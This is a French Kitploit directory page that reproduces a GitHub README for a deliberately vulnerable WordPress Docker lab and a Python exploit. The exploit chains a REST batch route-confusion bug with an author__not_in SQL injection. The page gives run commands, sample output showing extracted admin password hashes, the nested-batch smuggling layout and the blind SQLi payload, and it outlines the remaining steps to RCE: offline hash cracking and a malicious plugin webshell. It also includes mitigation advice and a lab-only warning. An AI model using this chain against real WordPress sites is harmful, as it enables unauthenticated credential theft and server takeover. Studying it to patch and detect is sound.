Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
EXPLOIT-CVE-2026-63030 — Lab WordPress vulnérable basé sur Docker avec un exploit Python démontrant une confusion de route pré-authentification et une chaîne d'injection SQL (CVE-2026-63030 + CVE-2026-60137) pour l'extraction d'identifiants et RCE. | Kitploit
Outils/GitHubGitHub/joaovicdev/exploit-cve-2026-63030
Scanners de VulnérabilitésExploitationSécurité WebCTFApprentissage et ÉducationLabs et Pratique
GitHubjoaovicdev/exploit-cve-2026-63030

EXPLOIT-CVE-2026-63030

Lab WordPress vulnérable basé sur Docker avec un exploit Python démontrant une confusion de route pré-authentification et une chaîne d'injection SQL (CVE-2026-63030 + CVE-2026-60137) pour l'extraction d'identifiants et RCE.

Voir le dépôt
1154il y a 4 moisPas encore vérifié
Partager

Laboratoire — CVE-2026-63030 (“wp2shell”) + CVE-2026-60137

Environnement Docker intentionnellement vulnérable avec WordPress Core 7.0.1 et un exploit en Python qui démontre la chaîne pré-authentification wp2shell :

CVEComposantDescription
CVE-2026-63030API REST /wp-json/batch/v1Route confusion : désynchronisation entre validation et dispatch des sous-requêtes
CVE-2026-60137WP_Query (author__not_in)Injection SQL lorsque la valeur est une chaîne au lieu d'un tableau

Enchaînées, elles permettent à un attaquant sans aucune information d'identification d'exécuter du SQL arbitraire (et, dans la séquence complète, d'arriver à RCE). Corrigé dans WordPress 6.9.5 et 7.0.2. Versions affectées par la chaîne RCE : 6.9.0–6.9.4 et 7.0.0–7.0.1.

⚠️ Avertissement : environnement intentionnellement non sécurisé. Utilisez uniquement localement, isolé. Ne l'exposez jamais sur Internet. L'exploit ne doit être utilisé que contre ce laboratoire (ou des systèmes pour lesquels vous avez une autorisation explicite).


1. Monter l'environnement

docker compose up -d db wordpress      # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli          # instala o WP e cria conteúdo/usuários

Cela crée :

  • Site à http://localhost:8080
  • admin / SuperSecret123!
  • victim / Victim_P@ss_2026 (deuxième admin, cible de l'extraction de hash)
  • 1 article publié (nécessaire pour que get_items() retourne des lignes)

Confirmez la version vulnérable :

curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version   # 7.0.1

2. Exécuter l'exploit

python3 exploit.py --url http://localhost:8080

Sortie (résumée) :

[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
    versão MySQL  = 8.0.46
    usuário atual = wordpress@%
    database      = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
  ID=1  login=admin
    hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
  ID=2  login=victim
    hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e

Autres options :

python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version"   # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time                # blind time-based
python3 exploit.py --url http://localhost:8080 -v                         # mostra cada query

L'exploit n'utilise que la bibliothèque standard de Python 3 (aucune dépendance).

Valider que les données divulguées sont réelles

docker exec wp2shell-db mysql -uroot -prootpass -N \
  -e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"

Les hashes doivent être identiques à ceux extraits par l'exploit (qui n'a jamais eu accès à la base de données).


3. Comment fonctionne la chaîne (mécanique réelle, vérifiée dans le code)

3.1 Le bug de désynchronisation (serve_batch_request_v1)

Dans wp-includes/rest-api/class-wp-rest-server.php, le handler du batch utilise deux tableaux parallèles : $matches (route/handler correspondants) et $validation (résultat de la validation) :

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {   // ex.: path "///" -> wp_parse_url()==false
        $has_error    = true;
        $validation[] = $single_request;        // <-- entre SÓ em $validation
        continue;                               // <-- $matches NÃO recebe entrada => desync!
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
    $validation[] = $error ? $error : true;
}

Dans le dispatch, le handler est lu par index dans $matches[$i], tandis que $single_request et $validation[$i] suivent l'index complet de $requests. Un primer qui échoue au parse ("///") décale tout dans $matches d'une position — alors une sous-requête est exécutée sous le handler d'une autre.

3.2 Le smuggling de sous-requêtes GET (batch imbriqué)

Le schéma du batch n'accepte que les méthodes POST/PUT/PATCH/DELETE (GET est rejeté avec rest_not_in_enum). L'exploit contourne cela avec batch dans batch :

BATCH EXTERNE (méthodes valides) :
  [ primer("///"),
    carrier = POST /wp/v2/posts  (body = BATCH INTERNE),
    POST /batch/v1 ]
  • Le carrier est validé comme create_item des articles (passe : allow_batch=true, sans paramètres obligatoires). Comme il n'est pas validé en tant que batch, son body échappe à la validation de l'énumération des méthodes.
  • Le désync externe fait que le carrier est dispatché sous le handler /batch/v1 (volé à la 3e sous-requête) → serve_batch_request_v1 traite le body brut, avec des sous-requêtes GET.

3.3 Arrivée au sink SQL

BATCH INTERNE :
  [ primer("///"),
    GET /wp/v2/users?author_exclude=<PAYLOAD>,   <-- users NÃO define author_exclude => valor cru
    GET /wp/v2/posts ]

Nouveau désync interne → la requête GET /wp/v2/users (chargeant author_exclude non assaini) est exécutée sous posts get_items(). Là :

// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in',   // mapeamento

Et dans WP_Query (class-wp-query.php), le code vulnérable :

if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {          // <-- string PULA a sanitização
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
        sort( ... );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";   // <-- injeção
}

Payload booléen utilisé : 0) AND (<condition>)-- -, transformant le WHERE en oracle (liste avec articles = vrai ; liste vide = faux). Extraction caractère par caractère par recherche binaire.

Note : le chemin est atteignable lorsqu'il n'y a pas de cache d'objet persistant (par défaut dans le lab), comme décrit dans l'avis.


4. Séquence complète jusqu'à RCE (wp2shell)

Ce laboratoire valide la partie pré-authentification (route confusion → SQLi → fuite de hashes), qui est le cœur de la chaîne. La séquence complète de l'avis continue avec :

  1. Casser le hash $wp$2y$... (bcrypt) offline — hashcat -m 3200.
  2. Se connecter à /wp-admin avec le mot de passe récupéré.
  3. Télécharger un plugin PHP malveillant (ou modifier le thème) → webshell / RCE.

5. Atténuation

  • Mettre à jour le noyau WordPress vers 6.9.5 / 7.0.2 (ou supérieur). Le correctif :
    • force author__not_in à des entiers (wp_parse_id_list) même lorsqu'il s'agit d'une chaîne ;
    • garantit que les erreurs de batch occupent une position dans les deux tableaux (fin de la désynchronisation).
  • Mesures d'atténuation compensatoires : WAF filtrant /wp-json/batch/v1, désactiver l'API REST non authentifiée, surveiller les requêtes avec author_exclude contenant du SQL.

6. Nettoyage

docker compose down -v      # remove containers + volumes (dados)

Références

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    282

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →